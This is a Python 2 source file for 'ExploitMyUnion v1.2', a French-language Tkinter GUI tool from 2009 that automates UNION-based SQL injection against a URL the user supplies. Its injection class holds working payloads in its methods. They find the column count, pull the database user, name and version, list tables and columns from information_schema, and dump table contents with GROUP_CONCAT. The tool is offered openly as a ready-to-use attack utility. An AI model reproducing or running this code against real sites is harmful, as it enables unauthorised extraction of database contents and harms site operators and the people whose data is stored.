#!/usr/bin/env python
#############################################################################
#
#       ExploitMyUnion.py
#       
#		Vers. 1.2
#
#       Copyright 2009 freko <freko@freko-desktop>
#       
#       This program is free software; you can redistribute it and/or modify
#       it under the terms of the GNU General Public License as published by
#       the Free Software Foundation; either version 2 of the License, or
#       (at your option) any later version.
#       
#       This program is distributed in the hope that it will be useful,
#       but WITHOUT ANY WARRANTY; without even the implied warranty of
#       MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#       GNU General Public License for more details.
#       
#       You should have received a copy of the GNU General Public License
#       along with this program; if not, write to the Free Software
#       Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
#       MA 02110-1301, USA.
#############################################################################



from Tkinter import *
import socket
import re
import threading



class injection:
	host = ''
	file = '/'	
	nbchamp = 0
	table = []
	current_table = ''
	
	def __init__(self, url_):
		info = self.get_host_file(url_)
		self.host = str(info[0])
		self.file = str(info[1])
			
	def get_current_table(self):
		return self.current_table	
	
	
	def stringtohex(self,string):
		out = '0x'
		for lettre in string:
			out = out + hex(ord(lettre)).replace('0x','')
		return out

	def get_host_file(self,url):
		url = url.replace('http://','')
		host = url[:url.find('/')]
		file = url[url.find('/'):]
		return [host,file]
			
	def get_nb_champs(self):
		patern = '<INJ>'
		self.nbchamp = 0
		injection 	= 	'-1%20UNION%20ALL%20SELECT%20'
		page = ''
		col_injection = 0
		
		while page.find(patern) == -1:
			self.nbchamp = self.nbchamp + 1
			colonne = ''
			for i in range(self.nbchamp):
				colonne = colonne + self.stringtohex(patern) + ','
			colonne = colonne[0:len(colonne)-1]
			npage = http_request(self.host)
			npage.set_file(self.file + injection + colonne + '%23')
			resultat = npage.send_request()
			var = annalyse_reponce(resultat)
			page = var.get_page()
			if self.nbchamp == 35:
				return False
		return self.nbchamp
		
	def get_infoserv(self):
		patern1 = '<INJ>'
		patern2 = '</INJ>'
		injection = '-1%20UNION%20ALL%20SELECT%20'
		colonne = ''
		
		for i in range(self.nbchamp):
			j = i + 1
			if j == int(self.col_injection):
				colonne = colonne + 'CONCAT_WS(0x2c,' + self.stringtohex ( patern1 ) + ',user(),database(),version(),' + self.stringtohex ( patern2 ) + '),' 
			else:
				colonne = colonne + str(j) + ','

		colonne = colonne[0:len(colonne)-1]
		npage = http_request(self.host)
		npage.set_file(self.file + injection + colonne + '%23')
		resultat = npage.send_request()
		var = annalyse_reponce(resultat)
		page = var.get_page()
		return page[page.find(patern1):page.find(',' + patern2)].replace(patern1 + ',','').split(',')
	
	
	def get_col_injection(self):
		patern1 = '<INJ>'
		patern2 = '</INJ>'
		injection = '-1%20UNION%20ALL%20SELECT%20'
		colonne = ''
		
		for i in range(self.nbchamp):
			j = i + 1
			colonne = colonne + self.stringtohex ( patern1 + str(j) + patern2 ) + ',' 
		colonne = colonne[0:len(colonne)-1]
		npage = http_request(self.host)
		npage.set_file(self.file + injection + colonne + '%23')
		resultat = npage.send_request()
		var = annalyse_reponce(resultat)
		page = var.get_page()
		self.col_injection = page[page.find(patern1):page.find(patern2)].replace(patern1,'')
		return self.col_injection
		
	def get_table_listing(self):
		patern1 = '<INJ>'
		patern2 = '</INJ>'
		injection = '-1%20UNION%20ALL%20SELECT%20'
		colonne = ''
		for i in range(self.nbchamp):
			j = i + 1
			if j == int(self.col_injection):
				colonne = colonne + 'CONCAT(' + self.stringtohex ( patern1 ) + ',GROUP_CONCAT(TABLE_NAME),' + self.stringtohex ( patern2 ) + '),' 
			else:
				colonne = colonne + str(j) + ','
		colonne = colonne[0:len(colonne)-1]
		npage = http_request(self.host)
		npage.set_file(self.file + injection + colonne + '%20FROM%20information_schema.TABLES%20WHERE%20TABLE_TYPE!=0x53595354454d2056494557%23')
		resultat = npage.send_request()
		var = annalyse_reponce(resultat)
		page = var.get_page()
		self.table = page[page.find(patern1):page.find(patern2)].replace(patern1,'').split(',')
		return self.table
			
			
	def get_colonne_listing(self, table):
		patern1 = '<INJ>'
		patern2 = '</INJ>'
		injection = '-1%20UNION%20ALL%20SELECT%20'
		colonne = ''
		self.current_table = table
		for i in range(self.nbchamp):
			j = i + 1
			if j == int(self.col_injection):
				colonne = colonne + 'CONCAT(' + self.stringtohex ( patern1 ) + ',GROUP_CONCAT(COLUMN_NAME),' + self.stringtohex ( patern2 ) + '),' 
			else:
				colonne = colonne + str(j) + ','
		colonne = colonne[0:len(colonne)-1]
		npage = http_request(self.host)
		npage.set_file(self.file + injection + colonne + '%20FROM%20information_schema.COLUMNS%20WHERE%20TABLE_NAME=' + self.stringtohex ( table ) + '%23')
		resultat = npage.send_request()
		var = annalyse_reponce(resultat)
		page = var.get_page()
		return page[page.find(patern1):page.find(patern2)].replace(patern1,'').split(',')			
			
			
	def get_info_listing(self, chan, max=8):
		patern1 = '<INJECTION>'
		patern2 = '</INJECTION>'
		injection = '-1%20UNION%20ALL%20SELECT%20'
		compteur = 0
		colonne = ''
		page = patern1
		for i in range(self.nbchamp):
			j = i + 1
			if j == int(self.col_injection):
				colonne = colonne + 'CONCAT(' + self.stringtohex ( patern1 ) + ',GROUP_CONCAT(' + str(chan) + '),' + self.stringtohex ( patern2 ) + '),' 
			else:
				colonne = colonne + str(j) + ','
		colonne = colonne[0:len(colonne)-1]
		npage = http_request(self.host)
		npage.set_file(self.file + injection + colonne + '%20FROM%20' + str ( self.current_table ) + '%20LIMIT%200,' + str(max) + '%23')
		resultat = npage.send_request()
		var = annalyse_reponce(resultat)
		page = var.get_page()
		return page[page.find(patern1):page.find(patern2)].replace(patern1,'').split(',')	
	

class http_request:

	methode = "GET"
	host = ''
	file = '/'
	port = "80"
	user_agent = "Mozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.13)"
	type_accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
	accept_language = "en,en-en;q=0.8,en-us;q=0.5,en;q=0.3"
	accept_encoding = "gzip,deflate"
	accept_charset = "ISO-8859-1,utf-8;q=0.7,*;q=0.7"
	connection_type = 'Close'
	request = ''
	ready = False

	
	def __init__(self, host_):
		self.host = str(host_)

	def set_methode(self, methode_):
		self.methode = str(methode_)

	def set_file(self, file_):
		self.file = str(file_)

	def get_request(self):
		if self.ready != False: 
			return self.request
		else:
			self.genere_request()
			return self.request

	def genere_request(self,):
		self.request = str(self.methode) + ' ' + str(self.file) + ' HTTP/1.1\r\n'
		self.request+= 'Host: ' + str(self.host) + '\r\n'
		self.request+= 'User-Agent: ' + str(self.user_agent) + '\r\n'
		self.request+= 'Accept: ' + str(self.type_accept) + '\r\n'
		self.request+= 'Accept-Language: ' + str(self.accept_language) + '\r\n'
		self.request+= 'Accept-Encoding: ' + str(self.accept_encoding) + '\r\n'
		self.request+= 'Accept-Charset: ' + str(self.accept_charset) + '\r\n'
		self.request+= 'Connection: ' + str(self.connection_type) + '\r\n\r\n'
		self.ready = 1
		
	def send_request(self):
		if self.ready != False:
			s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
			s.connect((self.host, int(self.port)))
			s.send(self.request)
			junked = ''
			data = ''
			while 1:
				try: data = s.recv(1024)
				except Exception, e: break
				if not data : break
				junked += data
				if data.find('hacked'):
					raw_input('ok')
				else:
					print data
			s.close()
			return junked
		else:
			self.genere_request()
			s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
			s.connect((self.host, int(self.port)))
			s.send(self.request)
			junked = ''
			data = ''
			while 1:
				try: data = s.recv(1024)
				except Exception, e: break
				if not data : break
				junked += data
			s.close()
			return junked

		
		
		
class annalyse_reponce:
	requst = ''
	
	def __init__(self, request_):
		self.request = str(request_)
		
	def get_cookie(self):
			cookie = self.request[self.request.find('Set-Cookie: '):]
			cookie = cookie[:cookie.find("\n")].replace('Set-Cookie: ','')
			return cookie[:cookie.find('; expires=')].split(':')
	
	def get_header(self):		
		return self.request[:self.request.find("\r\n\r\n")].replace("\r\n\r\n",'')
	
	def get_page(self):		
		return self.request[self.request.find("\r\n\r\n"):].replace("\r\n\r\n",'')	
		
		
class fenetre:

	root = ''
	widget = []
	nom_widget = []
	fichier = ''
	monMenu = ''
	help = ''
	
	def __init__(self, taille,titre='Tk'):
		self.root=Tk()
		self.root.geometry(str(taille)) 
		self.root.title(titre)
		
	def add_widget(self,name,type,x_,y_,text='',taille=0,cmd='',fg_="black",bg_="white"):
		if type == 'WRITE_BAR':
			self.widget.append(Entry(width=taille))
			self.nom_widget.append(name)
			self.widget[self.nom_widget.index(name)].place(x=x_,y=y_)
		elif type == 'LABEL':
			self.widget.append(Label(self.root,text=text,width=taille))
			self.nom_widget.append(name)
			self.widget[self.nom_widget.index(name)].place(x=x_,y=y_)
		elif type == 'LISTBOX':
			self.widget.append(Listbox(self.root,width=taille))
			self.nom_widget.append(name)
			self.widget[self.nom_widget.index(name)].place(x=x_,y=y_)
		elif type == 'BUTTON':
			self.widget.append(Button(self.root,text=text,command=cmd))
			self.nom_widget.append(name)
			self.widget[self.nom_widget.index(name)].place(x=x_,y=y_ )		
		elif type == 'SPECIAL LABEL':
			self.widget.append(Label(self.root,text=text,width=taille,fg=fg_,bg=bg_))
			self.nom_widget.append(name)
			self.widget[self.nom_widget.index(name)].place(x=x_,y=y_)
		
		elif type == 'BUTTONQUIT':
			if text == '':
				text = 'Quitter'
			self.widget.append(Button(self.root,text=text,command=self.root.quit))
			self.nom_widget.append(name)
			self.widget[self.nom_widget.index(name)].place(x=x_,y=y_ )
			
	def supr_contenu(self,name):
		self.widget[self.nom_widget.index(name)].delete(0, END)	
		
	def add_in_listbox(self,name,value):
		self.widget[self.nom_widget.index(name)].insert(END,value)
		
	def looping(self):
		self.root.mainloop()
		
	def modif_barre(self,name,value):
		self.widget[self.nom_widget.index(name)].delete(0, END)
		self.widget[self.nom_widget.index(name)].insert(0, value)
		
	def modif_label(self,name,valeur):
		self.widget[self.nom_widget.index(name)].configure(text=valeur)
		
	def get_value(self,name):
		value = self.widget[self.nom_widget.index(name)].curselection()
		return self.widget[self.nom_widget.index(name)].get(value)
		
	def on_double_click(self,name,func):
		self.widget[self.nom_widget.index(name)].bind('<Double-1>',func)
		
	def giveme(self,name):
		return self.widget[self.nom_widget.index(name)].get()
		
	def get_obj(self):
		return self.root
		
	def genere_menu(self,cmdapropos):
		self.monMenu = Menu(self.root)	
		self.fichier = Menu(self.monMenu, tearoff=0)		
		self.monMenu.add_cascade(label="Fichier",menu=self.fichier)			
		self.fichier.add_command(label="Quit", command=self.root.quit)	
		self.help = Menu(self.monMenu, tearoff=0)							
		self.monMenu.add_cascade(label="?",menu=self.help)						
		self.help.add_command(label="A propos", command=cmdapropos)
		self.root.config(menu=self.monMenu)	
		
		
		

class popup:
	root = ''
	widget = []
	nom_widget = []		

	def __init__(self, taille,titre='Tk'):	
		self.root=Toplevel()
		self.root.geometry(str(taille)) 
		self.root.title(titre)
	def add_widget(self,name,type,x_,y_,text='',taille=0,cmd='',fg_="black",bg_="white"):
		if type == 'WRITE_BAR':
			self.widget.append(Entry(width=taille))
			self.nom_widget.append(name)
			self.widget[self.nom_widget.index(name)].place(x=x_,y=y_)
		elif type == 'LABEL':
			self.widget.append(Label(self.root,text=text,width=taille))
			self.nom_widget.append(name)
			self.widget[self.nom_widget.index(name)].place(x=x_,y=y_)
		elif type == 'SPECIAL LABEL':
			self.widget.append(Label(self.root,text=text,width=taille,fg=fg_,bg=bg_))
			self.nom_widget.append(name)
			self.widget[self.nom_widget.index(name)].place(x=x_,y=y_)
		elif type == 'LISTBOX':
			self.widget.append(Listbox(self.root,width=taille))
			self.nom_widget.append(name)
			self.widget[self.nom_widget.index(name)].place(x=x_,y=y_)
		elif type == 'BUTTON':
			self.widget.append(Button(self.root,text=text,command=cmd))
			self.nom_widget.append(name)
			self.widget[self.nom_widget.index(name)].place(x=540,y=15 )		
		
		elif type == 'BUTTONQUIT':
			if text == '':
				text = 'Quitter'
			self.widget.append(Button(self.root,text=text,command=self.root.quit))
			self.nom_widget.append(name)
			self.widget[self.nom_widget.index(name)].place(x=x_,y=y_ )
			
	def supr_contenu(self,name):
		self.widget[self.nom_widget.index(name)].delete(0, END)	
		
	def add_in_listbox(self,name,value):
		self.widget[self.nom_widget.index(name)].insert(END,value)
		
	def looping(self):
		self.root.mainloop()
		
	def modif_label(self,name,valeur):
		self.widget[self.nom_widget.index(name)].configure(text=valeur)
		
	def get_value(self,name):
		value = self.widget[self.nom_widget.index(name)].curselection()
		return self.widget[self.nom_widget.index(name)].get(value)
		
	def on_double_click(self,name,func):
		self.widget[self.nom_widget.index(name)].bind('<Double-1>',func)




def first_step():
	monThread = threading.Thread(None, thread_n1, None, (), {})
	monThread.start()
	

def second_step(e):
	monThread_ = threading.Thread(None, thread_n2, None, (), {})
	monThread_.start()	
	
def third_step(e):
	monThread__ = threading.Thread(None, thread_n3, None, (), {})
	monThread__.start()		

def last_step(e):
	global fenetrePrincipal
	fenetrePrincipal.modif_barre('barre c/c',fenetrePrincipal.get_value('list box 3'))

def cmdapropos():
	global i
	fenetreApropos = popup('200x320',"A propos")
	fenetreApropos.add_widget('A propos' + str(i),'LABEL',10,25,text='ExploitMyUnion v1.2\n\nBy Freko28\n\n\nOnly for tapz\n\n\nGreatz : iNem0, m0uch0u,\nSylTroX66, blackbird, Siems,\nDigital_H\n\nAnd all the tapz of the world\n\n\nFreko_v28s<AT>hotmail<dot>fr\n\n\n#digitapz on irc.freenode.net')
	i = i + 1
	fenetreApropos.looping()
	
	
def thread_n1():
	global fenetrePrincipal
	info_serveur = ''
	fenetrePrincipal.modif_label('label etat','Etat : Demarage...')
	url = fenetrePrincipal.giveme('barre url')
	global myinjection
	myinjection = injection(url)
	fenetrePrincipal.modif_label('label etat','Etat : recherche du nombre de champs...')
	myinjection_nb_champ = myinjection.get_nb_champs()
	if myinjection_nb_champ == False:
		fenetrePrincipal.modif_label('label etat','Etat : Imposible d\'exploiter l\'injection :(')
		return -1
	fenetrePrincipal.modif_label('label etat','Etat : Recuperation du nombre de champs termine...')
	fenetrePrincipal.modif_label('label nb champs','Nombre de champs : ' + str(myinjection_nb_champ))
	fenetrePrincipal.modif_label('label etat','Etat : Recherche d\'un champ pour l\'injection...')	
	myinjection.get_col_injection()
	fenetrePrincipal.modif_label('label etat','Etat : Recuperation des infos relatives au serveur...')	
	myArray = myinjection.get_infoserv()
	if len(myArray) == 3:
		fenetrePrincipal.modif_label('label user','User : ' + str(myArray[0]))
		fenetrePrincipal.modif_label('label database','Data base : ' + str(myArray[1]))
		fenetrePrincipal.modif_label('label version','Version : ' + str(myArray[2]))
	else:
		fenetrePrincipal.modif_label('label user','User : -')
		fenetrePrincipal.modif_label('label database','Data base : -' )
		fenetrePrincipal.modif_label('label version','Version : -')	
	fenetrePrincipal.modif_label('label etat','Etat : Listing des tables...')	
	myTable = myinjection.get_table_listing()
	fenetrePrincipal.supr_contenu('list box 1')
	fenetrePrincipal.supr_contenu('list box 2')
	fenetrePrincipal.supr_contenu('list box 3')
	if len(myTable) >= 1:
		for tables in myTable:
			if len(tables.replace(' ','')) >= 0:
				fenetrePrincipal.add_in_listbox('list box 1',tables)
				fenetrePrincipal.modif_label('label etat','Etat : Recherche des tables termine')	
	else:
		fenetrePrincipal.modif_label('label etat','Etat : Imposible de lister les tables :(')	

	
def thread_n2():
	global fenetrePrincipal
	fenetrePrincipal.modif_label('label etat','Etat : Recherches des champs de la table ' + str(fenetrePrincipal.get_value('list box 1')))
	myChamps = myinjection.get_colonne_listing(fenetrePrincipal.get_value('list box 1'))
	fenetrePrincipal.supr_contenu('list box 2')
	fenetrePrincipal.supr_contenu('list box 3')
	if len(myChamps) >= 1:
		for champs in myChamps:
			if len(champs.replace(' ','')) >= 0:
				fenetrePrincipal.add_in_listbox('list box 2',champs)
				fenetrePrincipal.modif_label('label etat','Etat : Recherche des champs termine')	
	else:
		fenetrePrincipal.modif_label('label etat','Etat : Imposible de lister les champs :(')		
		
		
		
def thread_n3():
	global fenetrePrincipal
	fenetrePrincipal.modif_label('label etat','Etat : Recherches des informations en cours...')
	myInfos = myinjection.get_info_listing(fenetrePrincipal.get_value('list box 2'))
	fenetrePrincipal.supr_contenu('list box 3')
	if len(myInfos) >= 1:
		for infos in myInfos:
			if len(infos.replace(' ','')) >= 0:
				fenetrePrincipal.add_in_listbox('list box 3',infos)
				fenetrePrincipal.modif_label('label etat','Etat : Recherche des informations termine')	
	else:
		fenetrePrincipal.modif_label('label etat','Etat : Imposible de lister les informations :(')	

				
	
i = 0
fenetrePrincipal = fenetre('800x540','ExploitMyUnion v1.2')
fenetrePrincipal.add_widget('bouton quiter','BUTTONQUIT',740,500,text='Quiter')
fenetrePrincipal.add_widget('label deco 1','LABEL',640,0,text='Exploit My Union by Freko28')
fenetrePrincipal.add_widget('label deco 2','LABEL',0,520,text='Only For Tapz')
fenetrePrincipal.add_widget('label url','LABEL',160,55,text='Url : ')
fenetrePrincipal.add_widget('barre url','WRITE_BAR',210,55,taille=60)
fenetrePrincipal.add_widget('bouton go','BUTTON',600,50,text='Go',cmd=first_step)
fenetrePrincipal.add_widget('label etat','SPECIAL LABEL',180,101,text='Etat : ',taille=60)
fenetrePrincipal.add_widget('label version','SPECIAL LABEL',180,141,text='Version : ',taille=60)
fenetrePrincipal.add_widget('label user','SPECIAL LABEL',180,160,text='User : ',taille=60)
fenetrePrincipal.add_widget('label database','SPECIAL LABEL',180,179,text='Data base : ',taille=60)
fenetrePrincipal.add_widget('label nb champs','SPECIAL LABEL',180,198,text='Nombre de champs : ',taille=60)
fenetrePrincipal.add_widget('label list box 1','LABEL',105,250,text='Tables : ')
fenetrePrincipal.add_widget('label list box 2','LABEL',290,250,text='Champs : ')
fenetrePrincipal.add_widget('label list box 3','LABEL',575,250,text='Infos : ')
fenetrePrincipal.add_widget('list box 1','LISTBOX',45,270,taille=27)
fenetrePrincipal.add_widget('list box 2','LISTBOX',235,270,taille=27)
fenetrePrincipal.add_widget('list box 3','LISTBOX',425,270,taille=55)
fenetrePrincipal.add_widget('barre c/c','WRITE_BAR',425,450,taille=55)
fenetrePrincipal.on_double_click('list box 1',second_step)
fenetrePrincipal.on_double_click('list box 2',third_step)
fenetrePrincipal.on_double_click('list box 3',last_step)
fenetrePrincipal.genere_menu(cmdapropos)
fenetrePrincipal.looping()

